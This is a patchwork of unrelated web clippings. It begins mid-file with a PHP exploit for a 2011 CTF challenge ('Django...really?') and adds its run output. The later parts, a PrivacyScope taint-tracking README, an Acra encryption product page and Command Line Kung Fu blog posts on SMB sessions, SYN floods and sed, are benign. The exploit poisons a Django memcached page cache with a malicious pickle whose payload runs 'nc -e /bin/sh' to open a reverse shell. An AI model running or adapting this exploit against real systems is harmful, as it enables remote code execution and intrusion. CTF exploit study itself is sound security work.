                }
            }
    
            return $keys;
        }
    
        $payload =  "import cPickle\n".
                    "import subprocess\n".
                    "class LeetShit(object):\n".
                    "  def __reduce__(self):\n".
                    "    return (subprocess.Popen, ".
                    "(('/bin/sh','-c','nc -e /bin/sh IP PORT'),))\n".
                    "print cPickle.dumps(LeetShit())";
    
        echo ">>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN\n\n";
    
        if (count($argv) != 3) {
            alert("usage: ".$argv[0]." <ip> <port>");
            die();
        }
    
        $payload = str_replace("IP", $argv[1], $payload);
        $payload = str_replace("PORT", $argv[2], $payload);
    
        $fp = fsockopen("a12.amalgamated.biz", 11211);
        stream_set_timeout($fp, 1);
    
        alert("connected");
        info("key dump #1");
        $oldKeys = get_keys($fp);
    
        info("requesting unique page");
        $url = "http://a12.amalgamated.biz/DjangoProblem1/?a".md5(time());
        file_get_contents($url);
    
        info("key dump #2");
        $newKeys = get_keys($fp);
    
        foreach($newKeys as $key) {
            if (!in_array($key, $oldKeys)) {
                $finalKey = $key;
                break;
            }
        }
    
        if(empty($finalKey)) {
            alert("could not find correct cache key :(");
            die();
        }
    
        info("got cache key '".$finalKey."'");
    
        system("echo \"" . $payload . "\" | python - > payload.bin");
        fwrite($fp,
            "set ".$finalKey." 1 900 ".filesize("payload.bin")."\r\n".
            file_get_contents("payload.bin")."\r\n"
        );
    
        unlink("payload.bin");
    
        $result = fread($fp, 128);
        info("cache store result: ".trim($result));
        info("triggering payload.. hold your breath");
    
        @file_get_contents($url);
    
        fwrite($fp, "quit\r\n");
        fclose($fp);
        info("maybe you have a shell now :)");
    ?>
    
[/code]

  
  

[code]

    $ php django.php 192.168.13.37 1234
    >>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN
    
    [!] connected
    [~] key dump #1
    [~] requesting items..
    [~] parsing items..
    [~] parsing slabz 3
    [~] parsing slabz 5
    [~] parsing slabz 6
    [~] parsing slabz 10
    [~] parsing slabz 28
    [~] requesting unique page
    [~] key dump #2
    [~] requesting items..
    [~] parsing items..
    [~] parsing slabz 3
    [~] parsing slabz 5
    [~] parsing slabz 6
    [~] parsing slabz 10
    [~] parsing slabz 28
    [~] got cache key ':1:views.decorators.cache.cache_page..GET.d5a55afae6133ffdf886097b7ad6a239.d41d8cd98f00b204e9800998ecf8427e.en-us'
    [~] cache store result: STORED
    [~] triggering payload.. hold your breath
    [~] maybe you have a shell now :)
    
[/code]

  

# Privacy Scope

**Created:**| _6/9/2011 11:22:58 AM_  
---|---  
**Updated:**| _6/9/2011 11:22:58 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation_  
  

### Source Code

You can download the source code of Privacy Scope from
http://appanalysis.org/privacyscope/privacyscope.tar.gz. To run the Privacy
Scope, you need to install Pin version 25945 on Windows. You may download a
copy from http://pintool.org or locally.

[code]

    README PrivacyScope
    [Last updated: Oct 26, 2010 by Jaeyeon Jung (jaeyeon.jung@intel.com) and David Zhu (yuzhu@eecs.berkeley.edu)]
    
    0. Environment for testing:
    IDE: Microsoft Visual Studio 2008 Professional Edition
    Windows XP Service pack 3
    Pin Kit Version 25945 (vc9): http://pintool.org
    
    1. Installation
    1.1. Install Pin by extracting it to a directory %PINROOT%
         This step includes coping dbghelp.dll from ../../privacyscope/msdebugdll/
         to ia32\bin directory. 
    
    1.2. Extract the source code to the following location:
         %PINROOT%\source\tools (using windows backslash)
    1.3. Open PrivacyScope.sln and build project using Visual Studio
    1.4. The built library is at privacyscope\Release\PrivacyScope.dll
    
    2. Run (see http://pintool.org for details of running a Pin tool)
    2.1 After the tool dll is built as shown in the Installation section
    2.1 1. Open command prompt cmd.exe
    2.2 Go to the release directory mentioned above.
    2.3. ..\..\..\..\pin.bat -t PrivacyScope -- [Path to application]
    
    3. Logging
    PrivacyScope generates logs in the privacyscope\Release directory
    
    4.Usage:
    4.1 See http://appanalysis.org/privacyscope/demo for demo
    4.2 There are several hot keys designated to interact with PrivacyScope 
        Alt + < : starts the capturing of tainted input
        Alt + >: stops the capturing of tainted input
        Alt + `: resets the taint map 
    
        Note that Alt key combination does not work reliably. It is strongly re commanded that you 
        monitor the privacyscope log to make sure that the hotkey is received by the Privacy Scope. For instance,
        Alt + < generates the following log message
        [MSG] start tracking keyboard input
        Alt + > generates the following log message
        [MSG] stop tracking keyboard input
        Alt + ' generates the following log message
        [MSG] reset the taint map
    
    4.3 Useful log messages
        When a tainted data is written to a file:
        [MSG] writeIns writes new tainted file ( \pin-2.6-25945-msvc9-ia32_intel64-windows\source\tools\
        nsdi2010\Release\finally.txt )
        [DBG] print tainted buffer at 0xf36c0 length 11
        [TBF] hello [TS]taint[TE]
    
        When a tainted data is sent to the network: (e.g., typing 000 (Alt + <) 01111 (Alt + >) in the form at 
        http://seattle.intel-research.net/~jjung/privacyscope/notsecure.html and clicking the "Submit" button)
        [MSG] checkSend sends tainted data to 69.16.217.114 at port 0x50
        [DBG] print tainted buffer at 0x13c2b780 length 938
        [TBF] POST /cgi-bin/mycgi.pl HTTP/1.1..Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
        application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, 
        application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, 
        */*..Referer: http://seattle.intel-research.net/~jjung/privacyscope/notsecure.html..Accept-Language: en-us..
        Content-Type: application/x-www-form-urlencoded..UA-CPU: x86..Accept-Encoding: gzip, deflate..
        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.bsalsa.com/ 
        EmbeddedWB 14.52; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; 
        .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)..Host: leiajung.org..Content-Length: 69..
        Connection: Keep-Alive..Cache-Control: no-cache....paymentType=American+Express&
        cardnumber=000[TS]01111[TE]&expmonth=8&expyear=1
        [DBG] entered writeIns
    
[/code]

### Contact

questions: privacyscope@appanalysis.org  
---

# Cossack Labs / Acra

**Created:**| _5/7/2017 10:54:02 AM_  
---|---  
**Updated:**| _5/7/2017 10:54:02 AM_  
**Author:**| __  
**Tags:**| _Databases crypto_  
  

  

# Acra

<img src='img/Temp2_1632.png' width='752' height='501' alt='Modern database
encryption suite' />

  1. **1** Acra encryption/intrusion detection daemon 
  2. **2** Easy integration with modern application 
  3. **3** Acra does not affect database behavior 

## Modern database encryption suite

Acra is database security suite, which protects you against data leaks and
many typical application threats through strong selective encryption and
intrusion detection capabilities. Acra is engineered with modern development
practices in mind. It is open-source, Apache 2 licensed.

**Get going quickly.** Just deploy Acra components across your infrastructure
with convenient scenarios, point your app to Acra instead of direct access to
your PostgreSQL database and you're done. Now you can programmatically choose,
which data to encrypt, and which to decrypt upon requesting it from DB. Acra
will take care of the rest, protecting the data and constantly watching the
request flow for suspicious activity.

GithubProduct sheet  

## Acra works best for

  * sensitive data in app
  * lots of microservices
  * autosharded databases
  * burning deadlines

  

# Acra gives you

<img src='img/Temp2_1621.png' width='36' height='36' />

**Full granular control, easily:**  
Choose what records you classify as sensitive. Read and write them where you
need, the way you want, with minimized attack surface.

<img src='img/Temp2_1633.png' width='36' height='36' />

**Convenient infrastructure:**  
Built with modern ops in mind. Easy to deploy, easy to control. Flexible
architecture enables wide range of integration scenarios.

<img src='img/Temp2_1636.png' width='36' height='36' />

**Strong security:**  
Security scheme, which limits attack surface for your sensitive record to one
secure container in a compartmented, dedicated VM.

<img src='img/Temp2_1623.png' width='36' height='36' />

**Developer-oriented:**  
Control what you need, straight from your code. Delegate the infrastructure to
ops, and hard security / cryptographic decisions to us.

### Available for:

<img src='img/Temp2_1628.png' width='40' height='40' alt='postgresql' /><img
src='img/Temp2_1622.png' width='40' height='40' /><img
src='img/Temp2_1626.png' width='40' height='40' /><img
src='img/Temp2_1630.png' width='40' height='40' alt='linux' /><img
src='img/Temp2_1627.png' width='40' height='40' /><img
src='img/Temp2_1634.png' width='40' height='40' /><img
src='img/Temp2_1635.png' width='40' height='40' alt='python' /><img
src='img/Temp2_1631.png' width='40' height='40' alt='go' /><img
src='img/Temp2_1629.png' width='40' height='40' /><img
src='img/Temp2_1625.png' width='40' height='40' /><img
src='img/Temp2_1624.png' width='40' height='40' alt='go' />

  

Curious? Read more in the blog post about Acra release

Enter your e-mail to get news about Acra:

  

# Command Line Kung Fu: May 2009

**Created:**| _11/24/2009 7:26:55 PM_  
---|---  
**Updated:**| _11/24/2009 7:27:01 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

skip to main | skip to sidebar
# Command Line Kung Fu

This blog will include fun, useful, interesting, security related, non-
security related, tips, and tricks associated with the command line. It will
include OS X, Linux, and even Windows\!

## Friday, May 29, 2009

### Episode \#42: Listing and Dropping SMB Sessions

Ed jumps:  
  
On a Windows machine, sometimes an admin or user needs to see currently open
SMB sessions going from or to their box, perhaps being used to mount a remote
file share, get remote registry access, or otherwise plunder... ahem... I mean
access the system.  
  
To get a list of SMB sessions a Windows machines has opened to destination
servers \(which could be other Windows boxen or smbd's on Linux or Unix\), you
could run:  
  

[code]

    C:\> net use  
    New connections will be remembered.  
      
    Status       Local     Remote                    Network  
      
    -------------------------------------------------------------------------------  
    OK           Z:        \\10.1.1.105\c$           Microsoft Windows Network  
    The command completed successfully.  
    
    
[/code]

That shows you outbound SMB connections, those that your machine is acting as
a client on. To flip things around and see who has opened an SMB session with
your machine \(i.e., to display who your box is acting as an SMB server to
right now\), you could run:  

[code]

    C:\> net session  
      
    Computer               User name            Client Type       Opens Idle time  
      
    -------------------------------------------------------------------------------  
    \\FRED                 ED                   Windows 2002 Serv     0 00:00:40  
      
    The command completed successfully.  
    
    
[/code]

Note that it shows me the client computer name and the user who has made the
connection. The client type refers to the operating system that initiated the
inbound session \(Windows 2002 is how XP is depicted here\). We also see idle
time.  
  
That's all well and good, but what if you run those commands and notice some
evil SMB session either to or from your box? Perhaps there is an SMB session
set up by a bad guy or unauthorized user, and you want to kick them out.  
  
If you want to drop sessions from the client-side, you could run:  

[code]

    C:\> net use \\[ServerMachineName] /del
    
[/code]

You'll be prompted about whether you really want to drop that connection. When
prompted, hit Y and Enter. If you don't want to be prompted, just add a "/y"
to the command above.  
  
Or, if you want to blow away all SMB sessions that your client has initiated
with server machines out there, you could run:  

[code]

    C:\> net use * /del /y
    
[/code]

Now let's move to the server side. This one is important if you are responding
to incidents in which a bad guy has opened an SMB session with one of your
Windows servers, perhaps across your intranet. Maybe the server is vitally
important, and you aren't allowed to pull the plug. Yet, you need to act fast
to bump the bad guy off. Many Windows admins know how to do this at the GUI
\(launch compmgmt.msc, go to System Tools-->Shared Folders-->Sessions. Right
click on evil session and select "Close session"\). But, I find disconnecting
SMB connections from the server-side much easier to do on the command line
with:  

[code]

    C:\> net session \\[ClientMachineName] /del
    
[/code]

That'll drop that pesky user and session, and keep your box running. You may
want to disable that user account the bad guy relied on via the "net user
\[AccountName\] active:no" command, as mentioned in Episode \#34: Suspicious
Password Entries.  
  
It's interesting to notice the lack of symmetry with disconnecting client
versus server SMB sessions. Dropping connections to servers with "net use"
supports the \* wildcard above, and supports the /y option to suppress the "Do
you want to continue..." prompt. Dropping connections from clients supports
neither the \* nor does it prompt you to verify that you want to drop them.  
  
Hal retorts:  
  
Assuming your Unix/Linux distro has the smbfs tools from the Samba project
installed, mounting and unmounting Windows shares from a client is pretty
straightforward. You can either use the "smbmount" command or just "mount -t
cifs ..." as root:  
  

[code]

    # **mount -t cifs //server/hal /mnt -o user=hal,uid=hal,gid=hal**   # mount and map ownerships  
    # **umount /mnt**                                                   # unmount file system
    
[/code]

  
The "mount" command will prompt you to enter the password for the specified
"user=" and then map all the owner/group owner settings on files based on the
specified "uid="/"gid=" options.  
  
Figuring out what Windows shares your client has mounted is straightforward
too. You can use either "mount" or "df" \(and you don't need to be root
here\):  
  

[code]

    $ **mount -t cifs**  
     //server/hal on /mnt type cifs (rw,mand)  
    $ **df -t cifs**  
     Filesystem           1K-blocks      Used Available Use% Mounted on  
    //server/hal         627661376 146659564 448604092  25% /mnt
    
[/code]

  
The only caveat here is that the user GUI may provide an alternate method for
mounting Windows shares that may make it more difficult to figure out all of
the file systems a given system has mounted. For example, when I mount Windows
shares via the Gnome-based GUI on my Ubuntu system, it uses GVFS to handle the
mount. There's really very little helpful information you can get out of GVFS
on the command-line:  
  

[code]

    $ **mount -t fuse.gvfs-fuse-daemon**  
     gvfs-fuse-daemon on /home/hal/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=hal)  
    $ **df -t fuse.gvfs-fuse-daemon**  
     df: no file systems processed
    
[/code]

  
The "mount" command tells me where the share is mounted, but not where it's
mounted _from_. "df" has no clue at all. I hate GVFS.  
  
So it may be more productive to interrogate your Samba server about what
clients are currently accessing shares. You can use the "smbstatus" command on
your Samba server host for this. What's interesting is that you don't have to
be root to use "smbstatus". I'm not entirely certain that's a good thing,
since it gives you information about other users' shares in addition to your
own:  
  

[code]

    $ **smbstatus**  
     Samba version 3.0.33-3.7.el5  
    PID     Username      Group         Machine                          
    -------------------------------------------------------------------  
    32752   hal           hal           elk          (192.168.4.1)  
    32733   hal           hal           elk          (192.168.4.1)  
     5320   laura         laura         wapiti       (192.168.4.2)  
      
    Service      pid     machine       Connected at  
    -------------------------------------------------------  
    hal          32733   elk           Tue May 26 14:57:15 2009  
    laura        5320    wapiti        Tue May 12 11:33:32 2009  
    iTunes       5320    wapiti        Tue May 12 11:33:29 2009  
    hal          32752   elk           Tue May 26 15:02:29 2009  
      
    No locked files
    
[/code]

  
You can see I'm mounting my "hal" share twice \(once from the command line
with "mount -t cifs" and once via GVFS, though you can't tell that from the
above output\). My wife Laura has got her homedir mounted on her desktop
machine, along with her iTunes music folder.  
  
If you have root access, you can use the "smbcontrol" command to forcibly
disable currently active shares. You can either disable particular shares by
PID \(see the "smbstatus" output above\) or ruthlessly crush all systems
mounting a particular share:  
  

[code]

    # **smbcontrol 32733 close-share hal**       # close a single share instance, PID 32733  
    # **smbcontrol smbd close-share hal**        # nuke all clients mounting "hal"
    
[/code]

  
It should be noted, however, that the disconnected user can simply re-mount
the given share at will. So if you really want to keep them off the server
you'll need to remove their account \(or disable the password\) before
knocking them off with "smbcontrol".  
  
One other item worth mentioning before I sign off this Episode is that the
Samba tools also include a minimal version of the "net" command for your
Unix/Linux systems. But many features are missing-- like "net use" for
example. So I haven't found the Samba "net" command all that useful in
general.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Wednesday, May 27, 2009

### Episode \#41: DoS or No DoS, That Is the Question

Ed muses:  
  
I was talking with a sysadmin buddy a couple of months ago, who told me he
thought his system was under a SYN flood Denial of Service attack, but he
wasn't sure. I asked, "Why aren't you sure?" He told me that he couldn't get
ahold of his network guys to look at the router and IDS. I said, "You don't
need them... just measure it on your end system." "How?" he asked. "Count the
number of half-open connections... Oh, and you should count the number of
full-open connections too, in case you have a connection flood," I answered.
"How?" he repeated.  
  
I told him to use our good friend, netstat. Half-open TCP connections are
generated by a SYN flood when an attacker uses a spoofed source address that
never sends RESETs to tear down half-open connections. Netstat shows such
items in its output as "SYN\_RECEIVED". We can count the number of half-open
connections using:  

[code]

    C:\> netstat -na | find /c "SYN_RECEIVED"
    
[/code]

I'm simply using the /c option of the find command to look for connections in
that state. Note that find is case sensitive, so I put in all caps for
SYN\_RECEIVED. The find command with /i is case insensitive.  
  
Please note that the number of normal half-open connections for most systems
is relatively small, typically under a hundred. If you see several hundred,
you may have a SYN flood.  
  
Another possibility involves the attacker launching a connection flood, not
just a SYN flood. Here, the bad guy won't spoof anything, but will actually
complete the three-way handshake with your system again and again. Some bot-
net attacks do this by sending HTTP requests to a flood target because it
blends in with normal web surfing. We can count those with netstat too, using:  

[code]

    C:\> netstat -na | find /c "ESTABLISHED"
    
[/code]

Now, the number of established connections is heavily dependent on the nature
and use of your given machine. A busy mail server or web server may have
several hundred, or it might not. It all depends. What we need to look for
here is a deviation from normal behavior for the system, with a lot more
connections that we normall expect.  
  
But, the beauty here is that we are using built-in tools to determine whether
we've got a SYN or connection flood, without having to bother the network or
IDS guys.  
  
Hal comments:  
  
This is, of course, a lot easier in the Unix shell than in Windows. In fact, I
can actually give you counts for all current socket states with a single
command line:  
  

[code]

    $ **netstat -an | awk '/^tcp/ {print $6}' | sort | uniq -c**       
         13 ESTABLISHED  
         29 LISTEN
    
[/code]

  
Thanks for giving me an easy one, Ed. Maybe I'll do the same for you sometime.
Maybe.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Monday, May 25, 2009

### Episode \#40: Ed's Heresy

Ed opens up by speaking a bit of heresy:  
  
Let me start by saying that I love the command line. I have stated publicly
that I find it an incredibly powerful paradigm for interacting with computers.
When I really get on a roll, I've even been known to say that the GUI was a
mistake that humanity should have avoided.  
  
That said, I'd like to utter a bit of heresy for this here command-line blog.
Sometimes... just occasionally... every once and a while... I do something on
my Windows box using a GUI. Some of the GUIs just make it easier to get things
done. Others are useful so I can check to make sure a change I made at the
command line had my desired effect.  
  
So, what does this have to do with command-line kung fu? Well, I launch pretty
much every GUI-based tool on my Windows box using the command line. The
cmd.exe window is my main user interface, which I periodically use to launch
ancillary GUI tools that act as helpers.  
  
You see, launching Windows GUI tools from the command line helps to avoid the
constant churn of Microsoft moving things from version to version. Rather than
digging through Start-->Programs-->Accessories... or whatever, I just kick off
the GUI from my command line.  
  
Truth be told, my work flow is a synthesis of command-line and GUI, with
cmd.exe doing about 70% of the work, assorted GUIs doing another 20%, and 10%
for VBS or \(increasingly\) Powershell. I've memorized many of the most useful
GUIs that can be launched from the command line. They essentially come in
three forms: MSCs \(Microsoft Controls\), EXEs, and CPLs \(Control Panel
Tools\). Here are my faves, each of which can be launched at the Windows
command-line, so you won't have to dig through the Windows GUI ever again:  
  
lusrmgr.msc = Local User Manager  
eventvwr.msc = Event Viewer  
services.msc = Services Controller  
secpol.msc = Security Policy Editor - This one is really useful because it
allows you to alter hundreds of registry key equivalents and other settings
that would be a pain to do at the command-line.  
  
taskmgr.exe = Task Manager  
explorer.exe = Windows Explorer  
regedit.exe = Registry Editor  
mmc.exe = Generic "empty" Microsoft Management Console, into which I can
Add/Remove Snap-ins to manage all kinds of other stuff  
msconfig.exe = Microsoft Configuration, including autostart entries and
services - Note that this one is not included in cmd.exe's PATH on Windows XP
\(it is in the PATH on Vista\). You can invoke it on XP by running
C:\windows\pchealth\helpctr\binaries\msconfig.exe  
control.exe = Bring Up the overall Control Panel  
  
wscui.cpl = Windows Security Center control  
firewall.cpl = Windows Firewall Config GUI  
wuaucpl.cpl = Windows Automatic Update Configuration  
  
If you'd like to see the other control panel piece parts, you can run:  
  

[code]

    C:\> dir c:\windows\system32\*.cpl
    
[/code]

  
  
There are others beyond this list, but these are my trusty aids, extending my
GUI. Of all of these, the ones I use most are secpol.msc \(because of its
access to hundreds of settings\), msconfig.exe \(as a quick configuration
checker\), eventvwr.msc \(because Windows command-line tools for viewing
events are kind of a pain\), and good old regedit.exe \(makes random
adventures in the registry easier than with the reg command\).  
  
So, Hal and Paul... are there any GUI-based tools you find yourself launching
from the command-line a lot? For Linux, Hal, is there a GUI tool you launch
from the command-line because it's just easier to get a given task done in the
GUI? And, surely Paul must launch GUIs from the Mac OS X command-line, given
the platypus of an operating system he's saddled with. What say you,
gentlemen?  
  
Hal confesses:  
  
Wow, I feel like this is an impromptu meeting of "GUI Users Anonymous" or
something. As long as we're all testifying, I have to admit that I've always
found both printer configuration and Samba configuration to be a huge hassle,
and I will often end up using whatever GUIs happen to be available for
configuring them.  
  
Often I'll use the GUI to figure out a basic template for the configuration
changes I need and then use command-line tools to replicate those
configuration templates on other systems. While it's not always clear what
configuration files the GUI might be tweaking, remember that you can use the
trick from Episode \#29 to find them: "touch /tmp/timestamp", make changes via
the GUI, and then "find /etc -newer /tmp/timestamp" to find the changed files.  
  
Similarly, there are a few GUIs in the Unix universe that actually try and
teach you the command-line equivalents of tasks you're currently doing with
the GUI. AIX enthusiasts will be familiar with SMIT-- a menu driven tool that
also lets you see what it's actually doing under the covers. Another example
would be the highly-useful NmapFE \(now Zenmap\) front-end for Nmap, which is
a useful tool for driving Nmap from a GUI while simultaneously learning Nmap
command-line flags.  
  
These days a lot of new Linux users are experiencing Linux almost entirely via
the GUI. While I think this is excellent from the perspective of driving new
adoption, at some point it's helpful to start digging around "under the
covers" and figure out what's happening in terms of the actual commands being
executed. This turns out to be straightforward because typically the GUI
configuration information is just stored in text files. If somebody shows you
the basics of find and grep, you can actually do a huge amount of self-
discovery.  
  
For example, let's suppose you're a Ubuntu user like me and you're curious
about what exactly is happening when you select the menu choice for "Home
Folder" and the graphical file browser pops up. Way back in Episode \#10 I
showed you how to find the names of files that contain a particular string:  
  

[code]

    $ **sudo find / -type f | sudo xargs grep -l 'Home Folder'**  
    [...]  
    grep: /usr/share/acpi-support/NEC: No such file or directory  
    grep: Computers: No such file or directory  
    grep: International.config: No such file or directory  
    grep: /usr/share/acpi-support/Dell: No such file or directory  
    grep: Inc..config: No such file or directory  
    [...]
    
[/code]

  
Huh? What's with all the error messages?  
  
What's going on here is that the find command is emitting file names
containing spaces-- "/usr/share/acpi-support/NEC Computers
International.config" and ".../Dell Inc..config"-- which are being
misinterpreted by xargs. The normal fix for this problem is to slightly adjust
both commands:  
  

[code]

    $ **sudo find / -type f -print0 | sudo xargs -0 grep -l 'Home Folder'**
    
[/code]

  
"find ... -print0" tells find to terminate its output with nulls \(ASCII
zero\) instead of whitespace. Similarly, "xargs -0 ..." tells xargs to look
for null-terminated input and don't treat white space in the incoming file
names as special.  
  
The above command is going to generate a ton of output and it may take a while
to sort through everything and find the file that's actually relevant. On my
Ubuntu system, the menu configuration files live in the
/usr/share/applications directory:  
  

[code]

    $ **less /usr/share/applications/nautilus-home.desktop**  
    [Desktop Entry]  
    Encoding=UTF-8  
    Name=Home Folder  
    [...]  
    Exec=nautilus --no-desktop  
    Icon=user-home  
    Terminal=false  
    StartupNotify=true  
    Type=Application  
    Categories=GNOME;GTK;Core;  
    OnlyShowIn=GNOME;  
    [...]
    
[/code]

  
The "Name=" parameter is the name that appears for the particular menu choice
and the "Exec=" parameter shows you the command that's being invoked.  
  
You could even put together a quick little bit of shell fu to output the value
of "Exec=" for a given menu item:  
  

[code]

    $ **awk -F= '/^Exec=/ {print $2}' \  
        `grep -l 'Name=Home Folder' /usr/share/applications/*`**  
    nautilus --no-desktop
    
[/code]

  
Here we're using "grep -l ..." to output the file name that matches the
"Name=" parameter we're searching for. We then use backticks to make the file
name output of the grep command be the argument that our awk statement works
on. The awk specifies "-F=" to split lines on "=" instead of whitespace, then
looks for the line that starts with "Exec=" and prints the stuff after the
"=". You could easily turn this into a shell script or alias if you find
yourself doing it frequently.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Friday, May 22, 2009

### Episode \#39: Replacing Strings in Multiple Files

Hal Starts Off:  
  
Wow, our last several Episodes have been really long\! So I thought I'd give
everybody a break and just show you a cool little sed idiom that I use all the
time:  
  

[code]

    # **sed -i.bak 's/foo/bar/g' ***
    
[/code]

  
Here we're telling sed to replace the all instances string "foo" with the
string "bar" in all files in the current directory. The useful trick is the
"-i.bak" option which causes sed to make an automatic backup copy of each file
as <filename>.bak before doing the global search and replace.  
  
By the way, you can even do this across an entire directory structure, with a
little help from the find and xargs commands:  
  

[code]

    # **find . -type f | xargs sed -i.bak 's/foo/bar/g'**
    
[/code]

  
Of course, you could use other search criteria than just "-type f" if you
wanted to be more selective about which files you ran sed against.  
  
Oh dear, I hope this isn't one of those "easy for Unix, hard for Windows"
things again. Ed gets so grumpy when I do that.  
  
Ed jumps in:  
You nailed it, Hal, with that characterization. Unfortunately, cmd.exe doesn't
include the ability to do find and replace of strings within lines of a file
using a built-in command. We can search for strings using the find command,
and even process regex with findstr. But, the replacement part just doesn't
exist there.  
  
Thus, most reasonable people will either rely on a separately installed tool
to do this, or use Powershell.  
  
For a separately installed tool, my first approach would be use Cygwin, the
free Linux-like environment for Windows, and then just run the sed command Hal
uses above. Nice, easy, and sensical.  
  
Alternatively, you could download and install a tool called replace.exe.  
  
Or, there's another one called Find And Replace Text, which, as you might
guess, is called FART for short.  
  
To do this in Powershell efficiently, I asked Tim Medin, our go-to guy for
Powershell, to comment.  
  
Tim \(our Powershell Go-To Guy\) says:  
This morning when Ed asked me to do a "quick" write up for Powershell, I
thought to myself, "This won't be too bad..." I was wrong.  
  
By default there are aliases for many of the command in Powershell, so I'll
show both the long and short version of the commands \(yes, even the short
command is long relative to sed\).  
  
The Long Way  

[code]

    PS C:\> Get-ChildItem -exclude *.bak | Where-Object {$_.Attributes -ne "Directory"} |  
         ForEach-Object { Copy-Item $_ "$($_).bak"; (Get-Content $_) -replace  
         "foo","bar" | Set-Content -path $_ }
    
[/code]

  
The Short Way \(using built in aliases\)  

[code]

    PS C:\> gci -ex *.bak | ? {$_.Attributes -ne "Directory"} | % { cp $_ "$($_).bak";  
         (gc $_) -replace "foo","bar" | sc -path $_ }
    
[/code]

  
This command is rather long, so let's go through it piece by piece.  

[code]

    gci -ex *.bak | ? {$_.Attributes -ne "Directory"}
    
[/code]

  
The first portion gets all files that don't end in .bak. Without this
exclusion, it will process file1.txt and the new file1.txt.bak. Processing
file1.txt.bak results in file1.txt.bak.bak, but it doesn't do this endlessly,
just twice.  
  
The Where-Object \(with an alias of ?\) ensures that we only work with files
and not directories because Get-Content on a directory throws an error.  
  

[code]

    ForEach-Object { Copy-Item $_ "$($_).bak"; (Get-Content $_) -replace "foo","bar" |  
    Set-Content -path $_ }
    
[/code]

Once we get the files, not directories, we want, we then act on each file with
the ForEach-Object \(alias %\). For those of you haven't yet fallen asleep,
I'll further break down the inner portion of the ForEach-Object:  
  

[code]

    Copy-Item $_ "$($_).bak"
    
[/code]

First, we copy the file to our backup .bak file. We have to use the $\(\) in
order to use our variable in a string so we can append .bak.  
  
Finally, we get to the search and replace \(and it's about time, too\!\).  

[code]

    (Get-Content $_) -replace "foo","bar" | Set-Content -path $_
    
[/code]

  
Get-Content \(gc\) gets the contents of the file. We wrap it in parentheses so
we can act on its output in order to do our replace. The output is then piped
to Set-Content \(sc\) and written back to our file.  
  
We could make this work a little better if we used variables, but then we are
more in script-land instead of shell-land which probably violates the almighty
laws of this blog. The use of variables turn this more into a scripting
exercise instead of shell \(OK, we may already be there\). For kicks, I'll
show you how we can use variables show you so you can add it to your big
bloated belt of windows-fu.  

[code]

    $a = (gci | ? {$_.Attributes -ne "Directory"}); $a | % { cp $_ "$($_).bak";  
    (gc $_) -replace "foo","bar" | sc -path $_ }
    
[/code]

  
The difference between our original command and this command is that the $a
variable grabs a snapshot of the directory before we copy files, so we won't
operate on the new .bak files.  
  
After all this work we have done the same thing as the mighty sed. Sadly even
the power of Powershell is no match for efficiency of sed.  
  
Ed closes it out:  
Thanks for that, Tim. Nice stuff\!

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Wednesday, May 20, 2009

### Episode \#38: The Browser Count Torture Test

Hal just can't resist:  
  
One of my customers was interested in some stats on which browsers were
hitting their web site most often. My first thought was to use a Perl script
to parse the user agent strings out of the Apache access\_log files. But, hey,
I write for Command Line Kung Fu, so how far can I get just using standard
Unix tools? Besides, trying to do the same thing in the Windows shell will be
a ~~pain in the~~... ~~humiliating defeat~~... interesting learning experience
for Ed, and I'm committed to the growth of my friends.  
  
First let me show you what I came up with, then I'll explain it in detail:  
  

[code]

    # **grep 'POST /login/form' ssl_access_log* | \  
     sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | \  
    sort | uniq -c | \  
    awk '{ t = t + $1; print} END { print t " TOTAL" }' | \  
    sort -nr | \  
    awk '/TOTAL/ { t = $1; next }; { $1 = sprintf("%.1f%%\t", $1*100/t); print}'**  
    46.4%  Firefox/3  
    27.0%  MSIE 7.0  
    14.3%  Safari  
    5.3%  MSIE 6.0  
    3.0%  Firefox/2  
    2.4%  -  
    1.2%  MSIE 8.0  
    0.3%  Firefox/1
    
[/code]

  
Here's the line-by-line interpretation:  
  

  1.   

  2. I didn't want to count every single page access, but was instead more interested in counting browsers by "user session". Since the site requires a user login for access, I used posting the secure login form as a proxy for recognizing individual sessions. Close enough for jazz.
  3.   

  4. Now, to pull out the browser name/version from the user agent string. The data here is annoyingly irregular, so it looks like a good task for sed. Notice that I'm using the "-r" option in GNU sed to use extended regular expression syntax: not only does this allow me to use "|" in the regexp, but it also means I don't need to backwhack my parens to create sub-expressions.  
  
The regular expression itself is interesting. I'm creating a sub-expression
match on either "MSIE <vers>.<sub>", "Firefox/<vers>", or "Safari" \(I don't
find tracking Firefox sub-versions or Safari version numbers that interesting,
but as always "your mileage may vary"\). Anything that doesn't match one of
these browser patterns ends up matching a hyphen \("-"\) character, which are
plentiful in Apache access\_log entries.  
  
I place ".\*" before and after the sub-expression, which matches the rest of
the line before and after the browser string. However, since that text is not
included in the sub-expression, when I replace the matching line with the sub-
expression then the rest of the text is dropped. That leaves us with an output
stream of just the browser info, or "-" for lines that don't match one of the
major browsers we're tracking.

  5.   

  6. Now that we've got a data stream with the browser info, it's time to count it. "... | sort | uniq -c" is the common idiom for this, and we end up with output like:  
  

[code]        290 -  
     34 Firefox/1  
    363 Firefox/2  
    5534 Firefox/3  
    632 MSIE 6.0  
    3207 MSIE 7.0  
    139 MSIE 8.0  
    1708 Safari
    
[/code]

  7.   

